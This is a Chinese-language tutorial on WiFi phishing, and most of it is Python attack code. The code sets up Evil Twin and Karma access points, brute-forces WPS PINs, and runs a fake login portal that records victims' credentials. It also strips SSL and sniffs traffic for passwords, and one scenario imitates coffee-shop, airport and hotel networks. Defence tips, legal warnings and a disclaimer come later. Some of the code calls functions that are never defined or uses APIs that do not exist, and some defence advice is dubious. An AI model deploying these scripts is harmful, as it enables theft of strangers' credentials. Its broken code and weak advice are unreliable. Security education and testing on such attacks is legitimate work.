WiFi钓鱼攻击与防御完全指南

← 返回指南列表

WiFi钓鱼攻击与防御完全指南

一、WiFi钓鱼攻击概述

1.1 什么是WiFi钓鱼攻击

WiFi钓鱼攻击(WiFi Phishing)是一种通过伪造WiFi热点来诱骗用户连接,从而窃取敏感信息的网络攻击手段。攻击者创建一个看似合法的WiFi接入点,当用户连接后,攻击者可以截获所有网络流量,获取用户名、密码、信用卡信息等敏感数据。

攻击示意图:

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

1.2 WiFi钓鱼攻击的危害

危害类型 具体表现
信息窃取 获取用户名密码、银行账户、信用卡信息
会话劫持 窃取登录会话,冒充用户身份
恶意软件传播 通过虚假更新推送恶意软件
中间人攻击 拦截并篡改通信内容
网络嗅探 监控所有网络活动

1.3 WiFi钓鱼攻击的分类

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

二、WiFi钓鱼攻击技术原理

2.1 802.11协议基础

PYTHON
# 802.11帧结构解析
class WiFiFrame:
    def __init__(self, raw_data):
        self.frame_control = raw_data[0:2]
        self.duration = raw_data[2:4]
        self.destination_mac = raw_data[4:10]
        self.source_mac = raw_data[10:16]
        self.bssid = raw_data[16:22]
        self.sequence_control = raw_data[22:24]
        self.payload = raw_data[24:]
    
    def get_frame_type(self):
        """获取帧类型"""
        frame_type = (self.frame_control[0] >> 2) & 0x03
        subtypes = {
            0: '管理帧',
            1: '控制帧', 
            2: '数据帧'
        }
        return subtypes.get(frame_type, '未知')

2.2 Evil Twin攻击原理

Evil Twin(邪恶双胞胎)攻击是最常见的WiFi钓鱼攻击方式:

PYTHON
import subprocess
import time

def create_evil_twin(interface, ssid, channel):
    """创建Evil Twin热点"""
    # 停止网络管理器
    subprocess.run(['sudo', 'systemctl', 'stop', 'NetworkManager'])
    
    # 设置无线网卡为监控模式
    subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'down'])
    subprocess.run(['sudo', 'iwconfig', interface, 'mode', 'monitor'])
    subprocess.run(['sudo', 'ip', 'link', 'set', interface, 'up'])
    
    # 创建虚拟接口
    subprocess.run(['sudo', 'iw', interface, 'interface', 'add', 'wlan0_ap', 'type', 'managed'])
    subprocess.run(['sudo', 'ip', 'link', 'set', 'wlan0_ap', 'up'])
    
    # 配置IP地址
    subprocess.run(['sudo', 'ifconfig', 'wlan0_ap', '192.168.1.1', 'netmask', '255.255.255.0'])
    
    # 启动DHCP服务
    subprocess.run(['sudo', 'dnsmasq', '--interface=wlan0_ap', 
                   '--dhcp-range=192.168.1.10,192.168.1.50,255.255.255.0,12h'])
    
    # 创建热点
    subprocess.run(['sudo', 'hostapd', '-B', '/tmp/hostapd.conf'])
    
    print(f"Evil Twin热点 '{ssid}' 创建成功,运行在信道 {channel}")

# 配置hostapd
hostapd_config = """
interface=wlan0_ap
driver=nl80211
ssid=Free Public WiFi
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
"""

with open('/tmp/hostapd.conf', 'w') as f:
    f.write(hostapd_config)

# 执行攻击
create_evil_twin('wlan0', 'Free Public WiFi', 6)

2.3 Karma攻击原理

Karma攻击利用802.11的探测请求机制:

PYTHON
from scapy.all import *

karma_cache = set()

def karma_callback(packet):
    """Karma攻击回调函数"""
    if packet.haslayer(Dot11ProbeReq):
        ssid = packet[Dot11ProbeReq].info.decode()
        
        if ssid and ssid not in karma_cache:
            karma_cache.add(ssid)
            print(f"检测到探测请求: {ssid}")
            
            # 创建对应SSID的热点
            create_evil_twin('wlan0', ssid, 6)

# 启动Karma监听
print("启动Karma攻击监听...")
sniff(iface='wlan0', prn=karma_callback, store=0)

2.4 WPS攻击原理

WPS(WiFi Protected Setup)存在设计缺陷:

PYTHON
def wps_bruteforce(ap_bssid, interface):
    """WPS暴力破解"""
    import pywifi
    
    wifi = pywifi.PyWiFi()
    iface = wifi.interfaces()[0]
    
    # 常见PIN码组合
    pin_list = [
        '12345670', '00000000', '11111111', 
        '12345678', '87654321', '12345670'
    ]
    
    for pin in pin_list:
        print(f"尝试PIN: {pin}")
        
        # 尝试连接
        profile = pywifi.Profile()
        profile.ssid = 'TargetWiFi'
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        
        iface.remove_all_network_profiles()
        tmp_profile = iface.add_network_profile(profile)
        
        # 使用WPS PIN连接
        iface.connect(tmp_profile, pin=pin)
        
        time.sleep(2)
        
        if iface.status() == const.IFACE_CONNECTED:
            print(f"成功!WPS PIN: {pin}")
            break

三、攻击实施步骤

3.1 前期准备

PYTHON
import os
import subprocess

def check_wireless_interface():
    """检查无线网卡支持"""
    result = subprocess.run(['iw', 'list'], capture_output=True, text=True)
    
    if 'monitor' in result.stdout:
        print("网卡支持监控模式")
        return True
    else:
        print("网卡不支持监控模式")
        return False

def install_dependencies():
    """安装依赖工具"""
    tools = ['aircrack-ng', 'hostapd', 'dnsmasq', 'tcpdump']
    
    for tool in tools:
        result = subprocess.run(['which', tool], capture_output=True)
        if result.returncode != 0:
            print(f"安装 {tool}...")
            subprocess.run(['sudo', 'apt', 'install', '-y', tool])

# 检查环境
install_dependencies()
check_wireless_interface()

3.2 扫描目标网络

PYTHON
from scapy.all import *

def scan_networks(interface, duration=10):
    """扫描附近WiFi网络"""
    networks = {}
    
    def packet_handler(packet):
        if packet.haslayer(Dot11Beacon):
            ssid = packet[Dot11Elt].info.decode()
            bssid = packet[Dot11].addr2
            channel = int(ord(packet[Dot11Elt:3].info))
            
            if ssid not in networks:
                networks[ssid] = {
                    'bssid': bssid,
                    'channel': channel,
                    'signal': packet.dBm_AntSignal
                }
    
    print(f"扫描网络中... ({duration}秒)")
    sniff(iface=interface, prn=packet_handler, timeout=duration)
    
    # 打印结果
    print("\n发现的WiFi网络:")
    print("-" * 60)
    print(f"{'SSID':<30} {'BSSID':<20} {'信道':<5} {'信号':<6}")
    print("-" * 60)
    
    for ssid, info in sorted(networks.items(), key=lambda x: x[1]['signal'], reverse=True):
        print(f"{ssid:<30} {info['bssid']:<20} {info['channel']:<5} {info['signal']:<6} dBm")
    
    return networks

# 扫描网络
scan_results = scan_networks('wlan0', 15)

3.3 创建钓鱼热点

PYTHON
import threading
import time

class EvilTwinAP:
    """Evil Twin热点管理类"""
    
    def __init__(self, ssid, interface='wlan0'):
        self.ssid = ssid
        self.interface = interface
        self.is_running = False
        self.thread = None
    
    def start(self):
        """启动钓鱼热点"""
        self.is_running = True
        
        # 创建配置文件
        hostapd_conf = f"""
interface={self.interface}_ap
driver=nl80211
ssid={self.ssid}
hw_mode=g
channel=6
macaddr_acl=0
ignore_broadcast_ssid=0
"""
        
        with open('/tmp/evil_twin.conf', 'w') as f:
            f.write(hostapd_conf)
        
        # 启动热点
        self.thread = threading.Thread(target=self._run_ap)
        self.thread.start()
        print(f"Evil Twin热点 '{self.ssid}' 已启动")
    
    def _run_ap(self):
        """运行热点"""
        while self.is_running:
            subprocess.run([
                'hostapd', '/tmp/evil_twin.conf'
            ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            time.sleep(1)
    
    def stop(self):
        """停止热点"""
        self.is_running = False
        subprocess.run(['pkill', 'hostapd'])
        print(f"Evil Twin热点 '{self.ssid}' 已停止")

# 创建钓鱼热点
ap = EvilTwinAP('Free Coffee Shop WiFi')
ap.start()

3.4 流量劫持与嗅探

PYTHON
from scapy.all import *
from http.server import SimpleHTTPRequestHandler, HTTPServer
import threading

# HTTP代理服务器
class PhishingProxyHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        """处理GET请求"""
        print(f"拦截请求: {self.path}")
        
        # 记录请求信息
        with open('/tmp/phish_logs.txt', 'a') as f:
            f.write(f"{time.ctime()} - {self.client_address[0]} - {self.path}\n")
        
        # 返回伪造页面
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        
        phishing_page = """
        <html>
        <body>
        <h1>WiFi登录</h1>
        <form method="POST" action="/login">
            <input type="text" name="username" placeholder="用户名"><br>
            <input type="password" name="password" placeholder="密码"><br>
            <input type="submit" value="连接">
        </form>
        </body>
        </html>
        """
        
        self.wfile.write(phishing_page.encode())
    
    def do_POST(self):
        """处理POST请求"""
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode()
        
        # 记录凭证
        with open('/tmp/credentials.txt', 'a') as f:
            f.write(f"{time.ctime()} - {self.client_address[0]} - {post_data}\n")
        
        print(f"获取凭证: {post_data}")
        
        # 重定向到真实页面
        self.send_response(302)
        self.send_header('Location', 'https://www.google.com')
        self.end_headers()

def start_proxy():
    """启动HTTP代理"""
    server = HTTPServer(('0.0.0.0', 80), PhishingProxyHandler)
    print("HTTP代理服务器已启动")
    server.serve_forever()

# 启动代理(后台线程)
proxy_thread = threading.Thread(target=start_proxy)
proxy_thread.daemon = True
proxy_thread.start()

3.5 SSL剥离攻击

PYTHON
def ssl_strip_attack():
    """SSL剥离攻击"""
    # 使用bettercap进行SSL剥离
    subprocess.run([
        'bettercap', '-iface', 'wlan0_ap',
        '-caplet', 'http-req-dump',
        '-caplet', 'https-proxy'
    ])

# 启动SSL剥离
ssl_strip_attack()

四、实战案例分析

4.1 案例一:公共WiFi钓鱼

PYTHON
# 模拟公共WiFi钓鱼场景
class PublicWiFiPhisher:
    def __init__(self):
        self.target_ssids = [
            'Starbucks-WiFi', 
            'McDonalds-Free-WiFi',
            'Airport-Public',
            'Hotel-Guest'
        ]
    
    def run(self):
        """执行公共WiFi钓鱼"""
        print("=== 公共WiFi钓鱼攻击 ===")
        
        # 扫描附近网络
        networks = scan_networks('wlan0', 10)
        
        # 选择目标
        target_ssid = None
        for ssid in self.target_ssids:
            if ssid in networks:
                target_ssid = ssid
                break
        
        if target_ssid:
            print(f"找到目标网络: {target_ssid}")
            
            # 创建Evil Twin
            ap = EvilTwinAP(target_ssid)
            ap.start()
            
            # 启动流量嗅探
            self.start_sniffing()
        else:
            print("未找到目标网络")
    
    def start_sniffing(self):
        """启动流量嗅探"""
        def sniff_callback(packet):
            if packet.haslayer(TCP) and packet.haslayer(Raw):
                payload = packet[Raw].load.decode(errors='ignore')
                
                # 搜索密码相关字段
                keywords = ['password', 'passwd', 'pwd', 'login', 'username']
                for keyword in keywords:
                    if keyword.lower() in payload.lower():
                        print(f"发现敏感数据: {payload[:100]}")
        
        print("启动流量嗅探...")
        sniff(iface='wlan0_ap', prn=sniff_callback, store=0)

# 执行攻击
phisher = PublicWiFiPhisher()
phisher.run()

4.2 案例二:企业WiFi渗透

PYTHON
def enterprise_wifi_attack():
    """企业WiFi渗透测试"""
    print("=== 企业WiFi渗透测试 ===")
    
    # 1. 扫描企业网络
    print("步骤1: 扫描企业WiFi网络")
    networks = scan_networks('wlan0', 20)
    
    # 2. 识别企业SSID
    enterprise_ssids = [ssid for ssid in networks if 'Corp' in ssid or 'Enterprise' in ssid]
    
    if enterprise_ssids:
        target = enterprise_ssids[0]
        print(f"发现企业网络: {target}")
        
        # 3. 尝试WPS攻击
        print("步骤2: 尝试WPS暴力破解")
        wps_bruteforce(networks[target]['bssid'], 'wlan0')
        
        # 4. 创建Evil Twin
        print("步骤3: 创建企业WiFi的Evil Twin")
        ap = EvilTwinAP(target)
        ap.start()
        
        # 5. 启动中间人攻击
        print("步骤4: 启动中间人攻击")
        start_man_in_the_middle()
    else:
        print("未发现企业网络")

4.3 案例三:WiFi Pineapple实战

PYTHON
def pineapple_attack():
    """WiFi Pineapple攻击"""
    print("=== WiFi Pineapple攻击 ===")
    
    # 配置Pineapple
    config = {
        'interface': 'wlan0',
        'target_ssid': 'Target-WiFi',
        'attack_mode': 'karma',
        'sniffing_enabled': True,
        'ssl_strip_enabled': True
    }
    
    # 启动攻击
    print(f"目标SSID: {config['target_ssid']}")
    print(f"攻击模式: {config['attack_mode']}")
    
    # Karma模式自动响应探测请求
    if config['attack_mode'] == 'karma':
        print("启动Karma攻击模式...")
        karma_attack()
    
    # 启用SSL剥离
    if config['ssl_strip_enabled']:
        print("启动SSL剥离...")
        ssl_strip_attack()
    
    # 记录捕获的数据
    print("数据记录开始...")
    while True:
        if os.path.exists('/tmp/credentials.txt'):
            with open('/tmp/credentials.txt', 'r') as f:
                credentials = f.read()
                if credentials:
                    print(f"\n=== 捕获的凭证 ===")
                    print(credentials)
                    os.remove('/tmp/credentials.txt')
        
        time.sleep(5)

五、防御措施

5.1 网络层防御

PYTHON
def configure_wifi_security():
    """配置WiFi安全"""
    # 推荐的安全配置
    security_config = {
        'encryption': 'WPA2-PSK-AES',  # 使用WPA2-AES加密
        'ssid_hidden': True,            # 隐藏SSID
        'wps_enabled': False,           # 禁用WPS
        'guest_network': True,          # 创建访客网络
        'mac_filtering': True           # MAC地址过滤
    }
    
    print("WiFi安全配置建议:")
    for key, value in security_config.items():
        status = "已启用" if value else "已禁用"
        print(f"  {key}: {status}")
    
    # 生成安全的WiFi密码
    import secrets
    import string
    
    password = ''.join(
        secrets.choice(string.ascii_letters + string.digits + string.punctuation)
        for _ in range(16)
    )
    print(f"\n建议密码: {password}")

5.2 客户端防御

PYTHON
import subprocess

def check_wifi_security(ssid):
    """检查WiFi安全性"""
    result = subprocess.run(
        ['iwlist', 'scan'],
        capture_output=True,
        text=True
    )
    
    if ssid in result.stdout:
        # 查找网络信息
        lines = result.stdout.split('\n')
        in_network = False
        
        for line in lines:
            if ssid in line:
                in_network = True
            
            if in_network:
                if 'Encryption key' in line:
                    if 'on' in line:
                        print(f"{ssid}: 已加密")
                    else:
                        print(f"{ssid}: 未加密 - 危险!")
                
                if 'IE: IEEE 802.11i/WPA2 Version' in line:
                    print(f"{ssid}: 使用WPA2加密")
                
                if 'WPS' in line:
                    print(f"{ssid}: WPS已启用 - 潜在风险")

# 检查连接的WiFi安全性
check_wifi_security('MyWiFi')

5.3 检测工具

PYTHON
def detect_evil_twin(interface='wlan0'):
    """检测Evil Twin攻击"""
    networks = {}
    
    def callback(packet):
        if packet.haslayer(Dot11Beacon):
            ssid = packet[Dot11Elt].info.decode()
            bssid = packet[Dot11].addr2
            
            if ssid:
                if ssid not in networks:
                    networks[ssid] = []
                
                if bssid not in networks[ssid]:
                    networks[ssid].append(bssid)
    
    print("检测Evil Twin攻击...")
    sniff(iface=interface, prn=callback, timeout=10)
    
    # 检查是否有重复SSID
    print("\n检测结果:")
    for ssid, bssids in networks.items():
        if len(bssids) > 1:
            print(f"⚠️ 警告: 发现多个相同SSID '{ssid}'")
            print(f"   BSSIDs: {', '.join(bssids)}")
            print("   可能存在Evil Twin攻击!")
        else:
            print(f"✓ {ssid}: 安全")

# 运行检测
detect_evil_twin()

5.4 企业级防御方案

PYTHON
class EnterpriseWiFiDefense:
    """企业级WiFi防御"""
    
    def __init__(self):
        self.measures = [
            {
                'name': '802.1X认证',
                'description': '使用企业级认证协议',
                'implementation': '部署RADIUS服务器'
            },
            {
                'name': '证书验证',
                'description': '验证AP证书',
                'implementation': '部署802.11i标准'
            },
            {
                'name': '入侵检测',
                'description': '检测异常AP',
                'implementation': '部署WiFi IDS系统'
            },
            {
                'name': '网络分段',
                'description': '隔离访客网络',
                'implementation': 'VLAN隔离'
            },
            {
                'name': '定期审计',
                'description': '定期安全评估',
                'implementation': '每月渗透测试'
            }
        ]
    
    def show_measures(self):
        """显示防御措施"""
        print("=== 企业级WiFi防御方案 ===")
        for i, measure in enumerate(self.measures, 1):
            print(f"\n{i}. {measure['name']}")
            print(f"   描述: {measure['description']}")
            print(f"   实施: {measure['implementation']}")

# 展示企业防御方案
enterprise_defense = EnterpriseWiFiDefense()
enterprise_defense.show_measures()

六、法律与伦理考量

6.1 法律风险

PYTHON
def check_legal_compliance():
    """检查法律合规性"""
    laws = [
        {
            'name': '计算机信息系统安全保护条例',
            'violation': '未经授权访问计算机网络',
            'penalty': '罚款5000元-5万元,情节严重可追究刑事责任'
        },
        {
            'name': '网络安全法',
            'violation': '窃取、泄露用户信息',
            'penalty': '没收违法所得,罚款10万-100万元'
        },
        {
            'name': '刑法第285条',
            'violation': '非法侵入计算机信息系统',
            'penalty': '三年以下有期徒刑或拘役'
        },
        {
            'name': '刑法第286条',
            'violation': '破坏计算机信息系统',
            'penalty': '五年以下有期徒刑'
        }
    ]
    
    print("=== 法律风险警示 ===")
    print("⚠️ 未经授权进行WiFi钓鱼攻击是违法行为!")
    print("\n相关法律法规:")
    
    for law in laws:
        print(f"\n{law['name']}")
        print(f"   违规行为: {law['violation']}")
        print(f"   处罚措施: {law['penalty']}")

# 显示法律风险
check_legal_compliance()

6.2 渗透测试授权

PYTHON
def create_authorization_form(target, scope, duration):
    """创建渗透测试授权书"""
    form = f"""
渗透测试授权书
==============

授权方: ________________________
联系方式: ________________________

目标范围: {target}
测试范围: {scope}
测试时间: {duration}

授权内容:
本人/单位授权测试人员对上述目标进行WiFi安全测试,
包括但不限于网络扫描、漏洞检测、渗透测试等。

免责声明:
测试人员仅在授权范围内进行测试,不承担超出授权范围的任何责任。

授权签字: ________________________
日期: ________________________
"""
    
    with open('pen_test_authorization.txt', 'w') as f:
        f.write(form)
    
    print("授权书已生成: pen_test_authorization.txt")

# 生成授权书
create_authorization_form(
    target='公司WiFi网络',
    scope='WiFi安全评估',
    duration='2024年1月1日 - 2024年1月31日'
)

七、安全意识培训

7.1 用户安全意识指南

PYTHON
def security_awareness_training():
    """安全意识培训内容"""
    tips = [
        {
            'topic': '警惕免费WiFi',
            'content': '公共场合的免费WiFi可能存在风险,避免在其上进行敏感操作'
        },
        {
            'topic': '验证网络真实性',
            'content': '连接前确认WiFi名称是否正确,注意是否有多个同名网络'
        },
        {
            'topic': '使用VPN',
            'content': '连接公共WiFi时,使用VPN加密所有网络流量'
        },
        {
            'topic': '检查证书',
            'content': '访问HTTPS网站时,检查证书是否有效'
        },
        {
            'topic': '禁用自动连接',
            'content': '关闭WiFi自动连接功能,手动选择可信网络'
        },
        {
            'topic': '更新设备',
            'content': '保持操作系统和应用程序最新,修复安全漏洞'
        }
    ]
    
    print("=== WiFi安全意识培训 ===")
    
    for i, tip in enumerate(tips, 1):
        print(f"\n{i}. {tip['topic']}")
        print(f"   {tip['content']}")

# 执行安全培训
security_awareness_training()

八、总结与建议

8.1 攻击技术总结

攻击类型 原理 防御措施
Evil Twin 伪造合法热点 验证AP身份、使用VPN
Karma 响应探测请求 禁用自动连接、隐藏SSID
WPS攻击 PIN码暴力破解 禁用WPS功能
SSL剥离 降级HTTPS连接 检查证书、使用HSTS
流量嗅探 捕获未加密流量 使用加密协议

8.2 防御策略层次

MERMAID
115%
Ctrl + 滚轮缩放 · 拖动查看完整流程图

8.3 未来发展趋势

PYTHON
def future_trends():
    """WiFi安全未来趋势"""
    trends = [
        {
            'trend': 'AI驱动检测',
            'description': '利用机器学习检测异常WiFi行为'
        },
        {
            'trend': '零信任网络',
            'description': '不信任任何网络,始终验证身份'
        },
        {
            'trend': '量子加密',
            'description': '使用量子密钥分发保护WiFi通信'
        },
        {
            'trend': '区块链认证',
            'description': '去中心化的网络身份验证'
        }
    ]
    
    print("=== WiFi安全未来发展趋势 ===")
    for trend in trends:
        print(f"\n• {trend['trend']}: {trend['description']}")

# 展示未来趋势
future_trends()

免责声明:本文仅供安全研究和教育目的。未经授权进行WiFi钓鱼攻击是违法的行为,作者不承担任何法律责任。所有测试必须在授权范围内进行。